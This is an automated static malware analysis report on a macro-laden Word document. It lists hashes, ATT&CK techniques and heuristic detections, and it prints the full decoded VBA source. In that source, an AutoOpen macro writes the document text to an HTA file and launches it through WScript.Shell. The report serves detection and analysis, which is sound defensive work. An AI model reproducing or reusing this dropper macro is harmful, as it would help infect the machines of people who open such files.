Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ae5144130389bc9a…

MALICIOUS

Office (OOXML)

45.9 KB Created: 2021-06-10 10:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: c318342845dd75fd15ba58e6888f201f SHA-1: 545a17414c56651797a20581df374f98215b02af SHA-256: ae5144130389bc9a30c2ad13533bb808eab987fd9a1846e0e7a485af38546e60
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell to execute a constructed path. The script dynamically builds the path 'c:\windows\explorer data\variantReferenceBefore.hta' and executes it, indicating a likely downloader or initial execution stage for a second-stage payload. The presence of WScript.Shell and Shell() calls strongly suggests malicious intent.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function tempSng()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run scrObj("c:\\windows\\explorer "), , True
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function tempSng()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run scrObj("c:\\windows\\explorer "), , True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "varCounter"
Sub autoopen()
ptrCaption
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 924 bytes
SHA-256: 76149009b72130ef7558265e551f3a2556f1307dd83032fc34c900b720b98d9c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "varCounter"
Sub autoopen()
ptrCaption
linkRight = tempSng
End Sub
Function scrObj(lenConvertCollect, Optional screenWin = "c:\program", Optional remLib = "a")
scrObj = lenConvertCollect & screenWin & "data\variantReferenceBefore.ht" & remLib
End Function

Attribute VB_Name = "remDoubleVb"
Sub ptrCaption()
Open scrObj("") For Output As #1
Print #1, collectRequest
Close #1
End Sub
Function collectRequest()
collectRequest = ActiveDocument.Range.Text
End Function
Function tempSng()
Set WshShell = CreateObject("Wscript.Shell")
WshShell.Run scrObj("c:\\windows\\explorer "), , True
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 14848 bytes
SHA-256: 68385d10cf0a63fd125695cd70fd0cfd241bb1e058e1770b0f792136c25ca798

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